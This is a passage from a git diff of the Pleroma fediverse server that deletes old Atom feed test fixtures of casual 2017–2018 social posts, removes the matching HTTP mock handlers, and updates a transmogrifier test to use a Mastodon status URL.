class='attachment'>__hinanawi_tenshi_touhou_drawn_…</a>2017-09-14T08:12:04.367142Z2017-09-14T08:12:04.367142Ztag:niu.moe,2017-09-14:objectId=1660781:objectType=Conversationhttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/a4170edf-d273-4b82-931d-662aaf3872f3New favorite by shpshp favorited something2017-09-14T08:10:26.205104Z2017-09-14T08:10:26.205104Zhttp://activitystrea.ms/schema/1.0/notehttps://niu.moe/users/NekoiNemo/statuses/3210992tag:niu.moe,2017-09-14:objectId=1660761:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/c50c47a0-fac5-4781-a7e6-f20e7226d5fcNew note by shp<a href='https://freezepeach.xyz/user/3458'>@hakui</a> <a href='https://pleroma.soykaf.com/users/lain'>@lain</a> you guys are forgetting the pancakes jeez2017-09-14T08:09:30.088418Z2017-09-14T08:09:30.088418Zhttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/2af9f622-5986-483c-83a1-ac59a9035b50New favorite by shpshp favorited something2017-09-14T08:09:16.346235Z2017-09-14T08:09:16.346235Zhttp://activitystrea.ms/schema/1.0/notetag:freezepeach.xyz,2017-09-14:noticeId=3926191:objectType=commenthttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f52aad69-5828-4e0e-bb7b-f2f0869d3ff0New note by shp<a href='https://gs.smuglo.li/user/253'>@kro</a> I'll probs try some of those 2hu mangos2017-09-14T08:09:13.262835Z2017-09-14T08:09:13.262835Ztag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/35743658-efee-46cf-9cdf-487b95709cd5New favorite by shpshp favorited something2017-09-14T08:09:00.517534Z2017-09-14T08:09:00.517534Zhttp://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-09-14:noticeId=4113226:objectType=commenttag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/22258ba8-58dc-4e09-b476-fe28d3307377New favorite by shpshp favorited something2017-09-14T08:08:38.087136Z2017-09-14T08:08:38.087136Zhttp://activitystrea.ms/schema/1.0/notehttps://pleroma.soykaf.com/objects/13d7809e-5dca-4117-8738-887759392f2chttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/f56d640a-0dbd-48af-80b1-06d0dbd26774New note by shp<a href='https://social.sakamoto.gq/users/eal'>@eal</a> ...but neither does my phone<br><br>low brightness, very dark wallpaper (pic related, but even darker, couldn't find the actual version)<br><a href="https://pleroma.soykaf.com/media/6d1b8d57-80ae-41d6-bdea-58fea09ecdf4/phonewallpaper.png" class='attachment'>phonewallpaper.png</a>2017-09-14T08:07:23.081214Z2017-09-14T08:07:23.081214Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d313df1d-121c-4ab8-abd1-e6aedcf55cbdNew note by shp<a href='https://niu.moe/users/Pasty'>@Pasty</a> y-you too2017-09-14T07:55:26.153486Z2017-09-14T07:55:26.153486Ztag:niu.moe,2017-09-14:objectId=1660616:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/7b642424-4edb-48cc-8711-1eafb4745269New note by shp<a href='https://social.sakamoto.gq/users/eal'>@eal</a> bothers me more when sleeping, wore one for nearly 2 years2017-09-14T07:54:53.449227Z2017-09-14T07:54:53.449227Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/5bc1bff1-88c3-489d-8efd-7e4755690a18New note by shpquick test2017-09-14T07:54:09.045525Z2017-09-14T07:54:09.045525Zhttps://pleroma.soykaf.com/contexts/cd770c2a-408e-4895-988c-60319298f219http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/956f1fb5-6f2f-433e-ab71-7f732b76f4beNew note by shphad some trouble getting sleep last night. only used phone to check the time a few times (v essential to have a near-black wallpaper to not blind yourself when you do that). can't rember the last time I rolled in the bed for longer than an hour like that2017-09-14T07:51:23.557775Z2017-09-14T07:51:23.557775Zhttps://pleroma.soykaf.com/contexts/f4c5d56e-fc58-467b-a8a5-10515c012355http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/d935d9f2-ebc7-4ff2-b65a-fbf418a60935New note by shp<a href='https://gs.smuglo.li/user/253'>@kro</a> doesn't sound like a bad idea at all2017-09-14T07:49:55.702555Z2017-09-14T07:49:55.702555Ztag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/342c8803-ee16-487d-9488-a39d763073f6New favorite by shpshp favorited something2017-09-14T07:49:41.875840Z2017-09-14T07:49:41.875840Zhttp://activitystrea.ms/schema/1.0/notetag:anticapitalist.party,2017-09-14:objectId=3322865:objectType=Statustag:anticapitalist.party,2017-09-14:objectId=1251751:objectType=Conversationhttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/5d98a19b-dd55-4077-9841-142937c613adNew favorite by shpshp favorited something2017-09-14T07:49:30.584265Z2017-09-14T07:49:30.584265Zhttp://activitystrea.ms/schema/1.0/notetag:gs.smuglo.li,2017-09-14:noticeId=4113170:objectType=commenttag:gs.smuglo.li,2017-09-14:objectType=thread:nonce=c4ac2016e07c4123http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/fdf3626a-50ba-458b-9bf7-b5f2cfa505fcNew note by shp<a href='https://pleroma.hjkos.com/users/hj'>@hj</a> c time2017-09-14T07:48:52.805422Z2017-09-14T07:48:52.805422Zhttps://pleroma.hjkos.com/contexts/dc4a3a3e-d366-4c0c-8789-8a9bee3537d9http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/c7c8eb17-b669-4827-9fbc-90f1fc54e4b1New note by shp<a href='https://sunshinegardens.org/users/tbny'>@tbny</a> err.. mediterranean from finnish*2017-09-14T07:46:52.764234Z2017-09-14T07:46:52.764234Zhttps://pleroma.soykaf.com/contexts/ac9c98ee-3eca-4b4b-9620-64b5e85e2623 \ No newline at end of file diff --git a/test/fixtures/tesla_mock/spc_5381.atom b/test/fixtures/tesla_mock/spc_5381.atom deleted file mode 100644 index c3288e97b..000000000 --- a/test/fixtures/tesla_mock/spc_5381.atom +++ /dev/null @@ -1,438 +0,0 @@ - - - GNU social - https://shitposter.club/api/statuses/user_timeline/5381.atom - shpuld timeline - Updates from shpuld on Shitposter Club! - https://shitposter.club/avatar/5381-96-20171230093854.png - 2018-02-23T13:42:22+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/5381 - shpuld - - - - - - shpuld - shp - - - - - - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387801:2018-02-23T13:39:40+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <a href="https://mstdn.io/media/_Ee-x91XN0udpfZVO_U" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/_Ee-x91XN0udpfZ</span><span class="invisible">VO_U</span></a></p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:39:40+00:00 - 2018-02-23T13:39:40+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574950785668071 - New comment by mayuutann - <p><span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <a href="https://mstdn.io/media/_Ee-x91XN0udpfZVO_U" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/_Ee-x91XN0udpfZ</span><span class="invisible">VO_U</span></a></p> - - - - - - - https://freezepeach.xyz/conversation/4182511 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387723:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://pleroma.soykaf.com/users/lain" class="h-card mention" title="&#x2468; lain &#x2468;">lain</a> how naive~ - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:30:15+00:00 - 2018-02-23T13:30:15+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=2f09acf104aebfe3 - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387703:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://pleroma.soykaf.com/users/lain" class="h-card mention" title="&#x2468; lain &#x2468;">lain</a> you expect anyone to believe that?? - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:28:08+00:00 - 2018-02-23T13:28:08+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=2f09acf104aebfe3 - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387639:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> pacyuri!! <a href="https://shitposter.club/file/eea140be45df3f993c4533026bf9a78fe8facd296d2fa0c6d02b2e347c5dc30e.jpg" title="https://shitposter.club/file/eea140be45df3f993c4533026bf9a78fe8facd296d2fa0c6d02b2e347c5dc30e.jpg" class="attachment" id="attachment-1589462" rel="nofollow external">https://shitposter.club/attachment/1589462</a> - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:20:38+00:00 - 2018-02-23T13:20:38+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387611:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> why is pacyu eating a pizza so cute - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:18:07+00:00 - 2018-02-23T13:18:07+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387600:2018-02-23T13:17:52+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> pichu! <a href="https://mstdn.io/media/Crv5eubz1KO0dgBEulI" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/Crv5eubz1KO0dgB</span><span class="invisible">EulI</span></a></p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:17:52+00:00 - 2018-02-23T13:17:52+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574863865459283 - New comment by mayuutann - <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> <span class="h-card"><a href="https://gs.smuglo.li/histoire" class="u-url mention">@<span>histoire</span></a></span> <span class="h-card"><a href="https://freezepeach.xyz/hakui" class="u-url mention">@<span>hakui</span></a></span> pichu! <a href="https://mstdn.io/media/Crv5eubz1KO0dgBEulI" rel="nofollow"><span class="invisible">https://</span><span class="ellipsis">mstdn.io/media/Crv5eubz1KO0dgB</span><span class="invisible">EulI</span></a></p> - - - - - - - https://freezepeach.xyz/conversation/4182511 - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:comment:7387544:2018-02-23T13:12:43+00:00 - Favorite - shpuld favorited something by mayuutann: <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> wa~~i!! :blobcheer:</p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:12:43+00:00 - 2018-02-23T13:12:43+00:00 - - http://activitystrea.ms/schema/1.0/comment - https://mstdn.io/users/mayuutann/statuses/99574840290947233 - New comment by mayuutann - <p><span class="h-card"><a href="https://shitposter.club/shpuld" class="u-url mention">@<span>shpuld</span></a></span> wa~~i!! :blobcheer:</p> - - - - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387555:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> more!! - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:12:23+00:00 - 2018-02-23T13:12:23+00:00 - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:note:7387537:2018-02-23T13:12:19+00:00 - Favorite - shpuld favorited something by hakui: you have pacyupacyu'd for: 45 minutes 03 seconds - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:12:19+00:00 - 2018-02-23T13:12:19+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:freezepeach.xyz,2018-02-23:noticeId=6451332:objectType=note - New note by hakui - you have pacyupacyu'd for: 45 minutes 03 seconds - - - - - - - https://freezepeach.xyz/conversation/4183220 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387539:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> ndndnd~ - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:11:04+00:00 - 2018-02-23T13:11:04+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387518:objectType=comment - New comment by shpuld - @<a href="https://mstdn.io/users/mayuutann" class="h-card mention" title="Mayutan&#x2615;">mayuutann</a> well done! mayumayu is so energetic - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:08:50+00:00 - 2018-02-23T13:08:50+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=d05e2b056274c5ab - - - - - - - - tag:shitposter.club,2018-02-23:fave:5381:note:7387503:2018-02-23T13:08:00+00:00 - Favorite - shpuld favorited something by mayuutann: <p>done with FIGURE MAT!!<br /> (Posted with IFTTT)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2018-02-23T13:08:00+00:00 - 2018-02-23T13:08:00+00:00 - - http://activitystrea.ms/schema/1.0/note - https://mstdn.io/users/mayuutann/statuses/99574825526201897 - New note by mayuutann - <p>done with FIGURE MAT!!<br /> (Posted with IFTTT)</p> - - - - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=c6aaa9b91e8d242f - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387486:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://a.weirder.earth/users/mutstd" class="h-card mention" title="Mutant Standard">mutstd</a> @<a href="https://donphan.social/users/Siphonay" class="h-card mention" title="Siphonay">siphonay</a> jokes on you I'm oppressively shitposting myself - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:05:44+00:00 - 2018-02-23T13:05:44+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=5d306467336c9661 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387466:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> @<a href="https://a.weirder.earth/users/mutstd" class="h-card mention" title="Mutant Standard">mutstd</a> @<a href="https://donphan.social/users/Siphonay" class="h-card mention" title="Siphonay">siphonay</a> how does it feel being hostile - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:04:10+00:00 - 2018-02-23T13:04:10+00:00 - - - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=5d306467336c9661 - - - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387459:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> gorogoro - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:03:32+00:00 - 2018-02-23T13:03:32+00:00 - - - - https://freezepeach.xyz/conversation/4181784 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387432:objectType=comment - New comment by shpuld - @<a href="https://freezepeach.xyz/user/3458" class="h-card mention" title="&#x5FA1;&#x5712;&#x306F;&#x304F;&#x3044;">hakui</a> ndnd - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T13:02:05+00:00 - 2018-02-23T13:02:05+00:00 - - - - https://freezepeach.xyz/conversation/4181784 - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2018-02-23:noticeId=7387367:objectType=note - New note by shpuld - dear diary: I'm trying to do work but I can only think of tenshi eating a corndog - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:56:03+00:00 - 2018-02-23T12:56:03+00:00 - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=57f316da416743fc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2018-02-23:noticeId=7387354:objectType=note - New note by shpuld - jesus christ it's such a fridey at work - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:53:50+00:00 - 2018-02-23T12:53:50+00:00 - - tag:shitposter.club,2018-02-23:objectType=thread:nonce=c05eb5e91bdcbdb7 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2018-02-23:noticeId=7387343:objectType=comment - New comment by shpuld - @<a href="https://gs.smuglo.li/user/589" class="h-card mention" title="&#x16DE;&#x16A9;&#x16B3;&#x16C1;&#x16DE;&#x16A9;&#x16B3;&#x16C1;">dokidoki</a> give them free upgrades to krokodil - - - http://activitystrea.ms/schema/1.0/post - 2018-02-23T12:53:15+00:00 - 2018-02-23T12:53:15+00:00 - - - - https://gs.smuglo.li/conversation/3934774 - - - - - - - diff --git a/test/fixtures/unfollow.xml b/test/fixtures/unfollow.xml deleted file mode 100644 index 7a8f8fd2e..000000000 --- a/test/fixtures/unfollow.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - undo:tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Sunday, 07-May-2017 09:54:49 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> stopped following <a href="https://pawoo.net/@pekorino">mono</a>. - - http://activitystrea.ms/schema/1.0/unfollow - 2017-05-07T09:54:49+00:00 - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - - - pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - tag:social.heldscal.la,2017-05-07:objectType=thread:nonce=6e80caf94e03029f - - - - - - diff --git a/test/support/http_request_mock.ex b/test/support/http_request_mock.ex index a0ebf65d9..344e27f13 100644 --- a/test/support/http_request_mock.ex +++ b/test/support/http_request_mock.ex @@ -103,14 +103,6 @@ defmodule HttpRequestMock do }} end - def get("https://mastodon.social/users/emelie.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/emelie.atom") - }} - end - def get( "https://osada.macgirvin.com/.well-known/webfinger?resource=acct:mike@osada.macgirvin.com", _, @@ -137,14 +129,6 @@ defmodule HttpRequestMock do }} end - def get("https://pawoo.net/users/pekorino.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___pawoo.net_users_pekorino.atom") - }} - end - def get( "https://pawoo.net/.well-known/webfinger?resource=acct:https://pawoo.net/users/pekorino", _, @@ -158,19 +142,6 @@ defmodule HttpRequestMock do }} end - def get( - "https://social.stopwatchingus-heidelberg.de/api/statuses/user_timeline/18330.atom", - _, - _, - _ - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/atarifrosch_feed.xml") - }} - end - def get( "https://social.stopwatchingus-heidelberg.de/.well-known/webfinger?resource=acct:https://social.stopwatchingus-heidelberg.de/user/18330", _, @@ -184,27 +155,6 @@ defmodule HttpRequestMock do }} end - def get("https://mamot.fr/users/Skruyb.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___mamot.fr_users_Skruyb.atom") - }} - end - - def get( - "https://mamot.fr/.well-known/webfinger?resource=acct:https://mamot.fr/users/Skruyb", - _, - _, - [{"accept", "application/xrd+xml,application/jrd+json"}] - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/skruyb@mamot.fr.atom") - }} - end - def get( "https://social.heldscal.la/.well-known/webfinger?resource=nonexistant@social.heldscal.la", _, @@ -507,19 +457,6 @@ defmodule HttpRequestMock do }} end - def get( - "https://mamot.fr/.well-known/webfinger?resource=https://mamot.fr/users/Skruyb", - _, - _, - _ - ) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/skruyb@mamot.fr.atom") - }} - end - def get("http://pawoo.net/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -647,17 +584,6 @@ defmodule HttpRequestMock do }} end - def get("https://pleroma.soykaf.com/users/lain/feed.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___pleroma.soykaf.com_users_lain_feed.atom.xml" - ) - }} - end - def get(url, _, _, [{"accept", "application/xrd+xml,application/jrd+json"}]) when url in [ "https://pleroma.soykaf.com/.well-known/webfinger?resource=acct:https://pleroma.soykaf.com/users/lain", @@ -670,17 +596,6 @@ defmodule HttpRequestMock do }} end - def get("https://shitposter.club/api/statuses/user_timeline/1.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___shitposter.club_api_statuses_user_timeline_1.atom.xml" - ) - }} - end - def get( "https://shitposter.club/.well-known/webfinger?resource=https://shitposter.club/user/1", _, @@ -694,37 +609,10 @@ defmodule HttpRequestMock do }} end - def get("https://shitposter.club/notice/2827873", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___shitposter.club_notice_2827873.json") - }} - end - - def get("https://shitposter.club/api/statuses/show/2827873.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___shitposter.club_api_statuses_show_2827873.atom.xml" - ) - }} - end - def get("https://testing.pleroma.lol/objects/b319022a-4946-44c5-9de9-34801f95507b", _, _, _) do {:ok, %Tesla.Env{status: 200}} end - def get("https://shitposter.club/api/statuses/user_timeline/5381.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/spc_5381.atom") - }} - end - def get( "https://shitposter.club/.well-known/webfinger?resource=https://shitposter.club/user/5381", _, @@ -746,14 +634,6 @@ defmodule HttpRequestMock do }} end - def get("https://shitposter.club/api/statuses/show/7369654.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/7369654.atom") - }} - end - def get("https://shitposter.club/notice/4027863", _, _, _) do {:ok, %Tesla.Env{ @@ -762,14 +642,6 @@ defmodule HttpRequestMock do }} end - def get("https://social.sakamoto.gq/users/eal/feed.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/sakamoto_eal_feed.atom") - }} - end - def get("http://social.sakamoto.gq/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -791,15 +663,6 @@ defmodule HttpRequestMock do }} end - def get( - "https://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056", - _, - _, - [{"accept", "application/atom+xml"}] - ) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/sakamoto.atom")}} - end - def get("http://mastodon.social/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{ @@ -853,28 +716,6 @@ defmodule HttpRequestMock do {:ok, %Tesla.Env{status: 406, body: ""}} end - def get("http://gs.example.org/index.php/api/statuses/user_timeline/1.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/http__gs.example.org_index.php_api_statuses_user_timeline_1.atom.xml" - ) - }} - end - - def get("https://social.heldscal.la/api/statuses/user_timeline/29191.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml" - ) - }} - end - def get("http://squeet.me/.well-known/host-meta", _, _, _) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/squeet.me_host_meta")}} @@ -996,17 +837,6 @@ defmodule HttpRequestMock do }} end - def get("https://social.heldscal.la/api/statuses/user_timeline/23211.atom", _, _, _) do - {:ok, - %Tesla.Env{ - status: 200, - body: - File.read!( - "test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml" - ) - }} - end - def get( "https://social.heldscal.la/.well-known/webfinger?resource=https://social.heldscal.la/user/23211", _, @@ -1036,10 +866,6 @@ defmodule HttpRequestMock do }} end - def get("https://mastodon.social/users/lambadalambda.atom", _, _, _) do - {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.atom")}} - end - def get("https://mastodon.social/users/lambadalambda", _, _, _) do {:ok, %Tesla.Env{status: 200, body: File.read!("test/fixtures/lambadalambda.json")}} end diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index 6e096e9ec..cc55a7be7 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -105,7 +105,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do object = data["object"] - |> Map.put("inReplyTo", "https://shitposter.club/notice/2827873") + |> Map.put("inReplyTo", "https://mstdn.io/users/mayuutann/statuses/99568293732299394") data = Map.put(data, "object", object) {:ok, returned_activity} = Transmogrifier.handle_incoming(data) @@ -113,11 +113,11 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do assert activity = Activity.get_create_by_object_ap_id( - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) assert returned_object.data["inReplyTo"] == - "tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" end test "it does not fetch reply-to activities beyond max replies depth limit" do @@ -1104,17 +1104,17 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do Map.put( data["object"], "inReplyTo", - "https://shitposter.club/notice/2827873" + "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) Pleroma.Config.put([:instance, :federation_incoming_replies_max_depth], 